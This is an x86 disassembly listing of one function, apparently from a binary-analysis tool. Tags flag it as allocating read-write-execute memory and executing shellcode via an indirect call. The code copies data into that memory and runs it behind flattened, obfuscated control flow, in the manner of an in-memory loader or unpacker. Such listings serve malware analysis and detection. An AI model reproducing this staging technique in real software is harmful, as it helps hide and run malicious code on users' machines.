Function at 0x4189c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], 0x7bf1b4f8
mov eax, dword [ebp - 0x40]
mov ecx, eax
sub ecx, 0x7bf1b4f7
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
jg 0x41911e
jmp 0x418a59
mov eax, dword [ebp - 0x44]
sub eax, 0x8cc893a7
mov dword [ebp - 0x4c], eax
jg 0x418a85
jmp 0x418a6f
mov eax, dword [ebp - 0x44]
sub eax, 0x89e3d0f0
mov dword [ebp - 0x50], eax
je 0x419471
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x772f8c93
mov dword [ebp - 0x54], eax
jg 0x419105
jmp 0x418a9b
mov eax, dword [ebp - 0x44]
sub eax, 0x74c67232
mov dword [ebp - 0x58], eax
jg 0x4190ec
jmp 0x418ab1
mov eax, dword [ebp - 0x44]
sub eax, 0x730adec0
mov dword [ebp - 0x5c], eax
jg 0x4190d3
jmp 0x418ac7
mov eax, dword [ebp - 0x44]
sub eax, 0x7214cef7
mov dword [ebp - 0x60], eax
jg 0x4190ba
jmp 0x418add
mov eax, dword [ebp - 0x44]
sub eax, 0x8d4a04c0
mov dword [ebp - 0x64], eax
jg 0x418b09
jmp 0x418af3
mov eax, dword [ebp - 0x44]
sub eax, 0x8cc893a8
mov dword [ebp - 0x68], eax
je 0x4193ec
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x8e5b3ab3
mov dword [ebp - 0x6c], eax
jg 0x418b35
jmp 0x418b1f
mov eax, dword [ebp - 0x44]
sub eax, 0x8d4a04c1
mov dword [ebp - 0x70], eax
je 0x419574
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x91c2c253
mov dword [ebp - 0x74], eax
jg 0x418b61
jmp 0x418b4b
mov eax, dword [ebp - 0x44]
sub eax, 0x8e5b3ab4
mov dword [ebp - 0x78], eax
je 0x419344
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x978216ec
mov dword [ebp - 0x7c], eax
jg 0x418b8d
jmp 0x418b77
mov eax, dword [ebp - 0x44]
sub eax, 0x91c2c254
mov dword [ebp - 0x80], eax
je 0x4191c6
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x9cfe02d3
mov dword [ebp - 0x84], eax
jg 0x418bbf
jmp 0x418ba6
mov eax, dword [ebp - 0x44]
sub eax, 0x978216ed
mov dword [ebp - 0x88], eax
je 0x4193f9
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xa5995879
mov dword [ebp - 0x8c], eax
jg 0x418bf1
jmp 0x418bd8
mov eax, dword [ebp - 0x44]
sub eax, 0x9cfe02d4
mov dword [ebp - 0x90], eax
je 0x41923b
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x6e9c2bfb
mov dword [ebp - 0x94], eax
jg 0x4190a1
jmp 0x418c0a
mov eax, dword [ebp - 0x44]
sub eax, 0x6e3b7cb6
mov dword [ebp - 0x98], eax
jg 0x419088
jmp 0x418c23
mov eax, dword [ebp - 0x44]
sub eax, 0x65ab549e
mov dword [ebp - 0x9c], eax
jg 0x41906f
jmp 0x418c3c
mov eax, dword [ebp - 0x44]
sub eax, 0x55358fb9
mov dword [ebp - 0xa0], eax
jg 0x419056
jmp 0x418c55
mov eax, dword [ebp - 0x44]
sub eax, 0x540ad110
mov dword [ebp - 0xa4], eax
jg 0x41903d
jmp 0x418c6e
mov eax, dword [ebp - 0x44]
sub eax, 0x50992eb3
mov dword [ebp - 0xa8], eax
jg 0x419024
jmp 0x418c87
mov eax, dword [ebp - 0x44]
sub eax, 0x4dd16319
mov dword [ebp - 0xac], eax
jg 0x41900b
jmp 0x418ca0
mov eax, dword [ebp - 0x44]
sub eax, 0x3b5aaddd
mov dword [ebp - 0xb0], eax
jg 0x418ff2
jmp 0x418cb9
mov eax, dword [ebp - 0x44]
sub eax, 0x3735e238
mov dword [ebp - 0xb4], eax
jg 0x418fd9
jmp 0x418cd2
mov eax, dword [ebp - 0x44]
sub eax, 0x343dc138
mov dword [ebp - 0xb8], eax
jg 0x418fc0
jmp 0x418ceb
mov eax, dword [ebp - 0x44]
sub eax, 0x2d40b28e
mov dword [ebp - 0xbc], eax
jg 0x418fa7
jmp 0x418d04
mov eax, dword [ebp - 0x44]
sub eax, 0x1486b419
mov dword [ebp - 0xc0], eax
jg 0x418f8e
jmp 0x418d1d
mov eax, dword [ebp - 0x44]
sub eax, 0xd4b57a7
mov dword [ebp - 0xc4], eax
jg 0x418f75
jmp 0x418d36
mov eax, dword [ebp - 0x44]
sub eax, 0x13d1cbf
mov dword [ebp - 0xc8], eax
jg 0x418f5c
jmp 0x418d4f
mov eax, dword [ebp - 0x44]
sub eax, 0xf770b714
mov dword [ebp - 0xcc], eax
jg 0x418f43
jmp 0x418d68
mov eax, dword [ebp - 0x44]
sub eax, 0xf1fb231f
mov dword [ebp - 0xd0], eax
jg 0x418f2a
jmp 0x418d81
mov eax, dword [ebp - 0x44]
sub eax, 0xed5dea71
mov dword [ebp - 0xd4], eax
jg 0x418f11
jmp 0x418d9a
mov eax, dword [ebp - 0x44]
sub eax, 0xe5921372
mov dword [ebp - 0xd8], eax
jg 0x418ef8
jmp 0x418db3
mov eax, dword [ebp - 0x44]
sub eax, 0xe3cd969e
mov dword [ebp - 0xdc], eax
jg 0x418edf
jmp 0x418dcc
mov eax, dword [ebp - 0x44]
sub eax, 0xe18fe40c
mov dword [ebp - 0xe0], eax
jg 0x418ec6
jmp 0x418de5
mov eax, dword [ebp - 0x44]
sub eax, 0xbf0d715c
mov dword [ebp - 0xe4], eax
jg 0x418ead
jmp 0x418dfe
mov eax, dword [ebp - 0x44]
sub eax, 0xa5dcdb36
mov dword [ebp - 0xe8], eax
jg 0x418e30
jmp 0x418e17
mov eax, dword [ebp - 0x44]
sub eax, 0xa599587a
mov dword [ebp - 0xec], eax
je 0x41952a
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xa6475299
mov dword [ebp - 0xf0], eax
jg 0x418e62
jmp 0x418e49
mov eax, dword [ebp - 0x44]
sub eax, 0xa5dcdb37
mov dword [ebp - 0xf4], eax
je 0x419187
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xa647529a
mov dword [ebp - 0xf8], eax
je 0x419268
jmp 0x418e7b
mov eax, dword [ebp - 0x44]
sub eax, 0xb716812f
mov dword [ebp - 0xfc], eax
je 0x419491
jmp 0x418e94
mov eax, dword [ebp - 0x44]
sub eax, 0xb732e7a1
mov dword [ebp - 0x100], eax
je 0x4191a7
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xbf0d715d
mov dword [ebp - 0x104], eax
je 0x4194b1
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xe18fe40d
mov dword [ebp - 0x108], eax
je 0x4191ee
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xe3cd969f
mov dword [ebp - 0x10c], eax
je 0x4191e1
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xe5921373
mov dword [ebp - 0x110], eax
je 0x41917b
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xed5dea72
mov dword [ebp - 0x114], eax
je 0x419580
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xf1fb2320
mov dword [ebp - 0x118], eax
je 0x4193df
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xf770b715
mov dword [ebp - 0x11c], eax
je 0x419485
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x13d1cc0
mov dword [ebp - 0x120], eax
je 0x419167
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0xd4b57a8
mov dword [ebp - 0x124], eax
je 0x419464
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x1486b41a
mov dword [ebp - 0x128], eax
je 0x419417
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x2d40b28f
mov dword [ebp - 0x12c], eax
je 0x419351
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x343dc139
mov dword [ebp - 0x130], eax
je 0x419247
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x3735e239
mov dword [ebp - 0x134], eax
je 0x4194bf
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x3b5aadde
mov dword [ebp - 0x138], eax
je 0x419397
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x4dd1631a
mov dword [ebp - 0x13c], eax
je 0x4194de
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x50992eb4
mov dword [ebp - 0x140], eax
je 0x419405
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x540ad111
mov dword [ebp - 0x144], eax
je 0x41949e
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x55358fba
mov dword [ebp - 0x148], eax
je 0x4194d2
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x65ab549f
mov dword [ebp - 0x14c], eax
je 0x4193a3
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x6e3b7cb7
mov dword [ebp - 0x150], eax
je 0x4192cb
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x6e9c2bfc
mov dword [ebp - 0x154], eax
je 0x41915a
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x7214cef8
mov dword [ebp - 0x158], eax
je 0x41919a
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x730adec1
mov dword [ebp - 0x15c], eax
je 0x419433
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x74c67233
mov dword [ebp - 0x160], eax
je 0x419593
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x772f8c94
mov dword [ebp - 0x164], eax
je 0x4192ef
jmp 0x419137
mov eax, dword [ebp - 0x44]
sub eax, 0x7bf1b4f8
mov dword [ebp - 0x168], eax
je 0x41913c
jmp 0x419137
jmp 0x41959a
mov eax, 0x6e9c2bfc
mov ecx, 0xa5dcdb37
mov edx, dword [ebp - 0x18]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0x13d1cc0
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov esi, dword [eax]
mov eax, 0xe5921373
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov dword [ebp - 0x40], 0x1486b41a
jmp 0x41959a
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x40], 0x7214cef8
jmp 0x41959a
mov eax, 0xb732e7a1
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0x91c2c254
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x28]
cmp ecx, dword [edx + 0xd]
setb bl
and bl, 1
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0xa647529a
mov ecx, 0xe3cd969f
mov dl, byte [ebp - 0x11]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0xe18fe40d
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x2c]
add ecx, 0xd
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x2c]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406d30
mov ecx, 0x9cfe02d4
mov edx, dword [ebp - 0x2c]
add edx, 0xd
mov esi, dword [ebp - 0x2c]
add edx, dword [esi + 5]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x16c], eax
jmp 0x41959a
mov dword [ebp - 0x40], 0x343dc139
jmp 0x41959a
mov eax, dword [ebp - 0x38]
add eax, 0x8bf1eb99
add eax, 1
sub eax, 0x8bf1eb99
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0x7214cef8
jmp 0x41959a
mov eax, 0x20
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov edx, dword [ebp - 0x20]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x170], eax
call fcn.00406d30
mov ecx, 0x772f8c94
mov edx, 0x6e3b7cb7
mov esi, 0xffffffff
mov edi, dword [ebp - 0x30]
movzx edi, byte [edi]
xor esi, 1
mov ebx, edi
xor ebx, esi
and ebx, edi
cmp ebx, 0
cmovne ecx, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x174], eax
jmp 0x41959a
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x34]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00416a60
mov dword [ebp - 0x40], 0x772f8c94
jmp 0x41959a
call fcn.0041a880
mov ecx, 0x65ab549f
mov edx, 0x8e5b3ab4
mov esi, 0xffffffff
mov edi, dword [ebp - 0x30]
movzx edi, byte [edi]
xor edi, 0xffffffff
mov ebx, esi
xor ebx, 3
xor esi, 0x60b298e
or edi, ebx
or esi, 0x60b298e
xor edi, 0xffffffff
and edi, esi
cmp edi, 0
cmovne ecx, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x178], eax
jmp 0x41959a
mov eax, 0x2d40b28f
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx + 1]
sub eax, edx
add eax, 0
add ecx, eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004176c0
mov eax, 0x3b5aadde
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov dword [ebp - 0x40], 0x65ab549f
jmp 0x41959a
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417e80
mov ecx, 0x50992eb4
mov edx, 0xf1fb2320
cmp eax, 0
cmovl ecx, edx
mov dword [ebp - 0x40], ecx
jmp 0x41959a
mov eax, 0x8cc893a8
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0x978216ed
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov dword [ebp - 0x40], 0x1486b41a
jmp 0x41959a
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], 0xb716812f
jmp 0x41959a
mov eax, 0xd4b57a8
mov ecx, 0x730adec1
cmp dword [ebp - 0x34], 0
cmovne eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x40], 0xd4b57a8
mov dword [ebp - 0x17c], eax
jmp 0x41959a
mov eax, 0x89e3d0f0
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0xf770b715
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov dword [ebp - 0x40], 0xb716812f
jmp 0x41959a
mov eax, 0x540ad111
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, 0xbf0d715d
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x40], eax
jmp 0x41959a
mov eax, dword [ebp - 0x10]
add esp, 0x184
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov esi, dword [eax]
mov dword [ebp - 0x40], 0x13d1cc0
jmp 0x41959a
mov dword [ebp - 0x40], 0xb732e7a1
jmp 0x41959a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x2c]
add ecx, 0xd
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x2c]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406d30
mov ecx, dword [ebp - 0x2c]
add ecx, 0xd
mov edx, dword [ebp - 0x2c]
add ecx, dword [edx + 5]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x40], 0xe18fe40d
mov dword [ebp - 0x180], eax
jmp 0x41959a
mov eax, 0xb313cd56
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx + 1]
add eax, 0
sub eax, edx
sub eax, 0xb313cd56
add ecx, eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004176c0
mov dword [ebp - 0x40], 0x2d40b28f
jmp 0x41959a
mov dword [ebp - 0x40], 0x8cc893a8
jmp 0x41959a
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x40], 0x89e3d0f0
jmp 0x41959a
mov dword [ebp - 0x40], 0x540ad111
jmp 0x418a3d